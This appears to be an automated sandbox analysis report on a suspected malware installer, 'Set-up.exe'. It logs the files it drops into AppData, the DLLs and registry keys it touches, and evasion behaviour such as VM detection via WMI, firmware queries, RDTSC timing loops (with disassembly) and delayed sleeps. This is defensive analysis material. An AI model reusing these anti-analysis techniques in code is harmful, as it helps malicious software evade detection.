Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Set-up.exe

Static file information: File size 73412334 > 1048576

Source: Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: ColorStreamLib.exe, 0000002F.00000002.3110706022.00000000382AF000.00000004.00000020.00020000.00000000.sdmp, ColorStreamLib.exe, 0000002F.00000002.3110838217.0000000038600000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ColorStreamLib.exe, 0000002F.00000002.3110706022.00000000382AF000.00000004.00000020.00020000.00000000.sdmp, ColorStreamLib.exe, 0000002F.00000002.3110838217.0000000038600000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: Z7592A1QJ4YAVH9BY5KB8681.exe.13.dr	Static PE information: real checksum: 0x9307ce should be: 0x880373
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29

Source: Z7592A1QJ4YAVH9BY5KB8681.exe.13.dr	Static PE information: section name: .didata
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	Static PE information: section name: .didata
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr	Static PE information: section name: .didata

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	File created: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-P5ORS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File created: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	File created: C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	File created: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	File created: C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe

API/Special instruction interceptor: Address: 6BAF7C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	RDTSC instruction interceptor: First address: 6BAFF3E1 second address: 6BAFF3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	RDTSC instruction interceptor: First address: 6BAFF3FD second address: 6BAFF3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007FCD4CC3F005h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007FCD4CC3F090h 0x00000031 rdtsc

Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com TID: 2800

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior

Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000002.2597299928.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000002.2597299928.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113122661.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

